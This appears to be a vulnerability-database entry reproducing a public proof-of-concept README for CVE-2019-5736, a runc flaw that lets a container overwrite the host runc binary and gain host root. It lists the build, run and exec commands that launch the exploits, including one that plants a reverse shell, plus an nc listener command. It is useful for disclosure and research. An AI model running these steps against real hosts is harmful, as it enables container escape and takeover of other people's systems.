CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source

https://github.com/BBRathnayaka/POC-CVE-2019-5736

Associated Vulnerability

Title: Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

Readme


<h2 align="center">RunC-CVE-2019-5736</h2>

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---
**Video**: https://bit.ly/2WqvILb

**Blog Post**: <a href="https://idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html">[www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]</a>

Here, I like to mention that the original developer of this exploit is Yuval Avrahami at Twistlock Labs.

## Running the POCs
Note that running the POCs will overwrite the runC binary on the host. 

It is highly recommened that you create a copy of your runC binary (normally at /usr/sbin/runc) before running one of the POCs.

Clone the repository:
```sh
$ git clone git@github.com:BBRathnayaka/RunC-CVE-2019-5736.git
```

### Exec POC
Overwrites runc with a simple program that prints a string.

Running the exec POC:
```sh
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
```
### Malicious Image POC
Overwrites runc with a simple reverse shell bash script that connects to localhost:2345.

Listen for the reverse shell:
```sh
$ nc -nvlp 2345
```

From a different shell, run the malicious image POC:
```sh
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
#### Reference
```
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") for an explanation of CVE-2019-5736 and the POCs.

The malicious image POC is heavily based on [q3k’s POC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.
```

File Snapshot

Remarks

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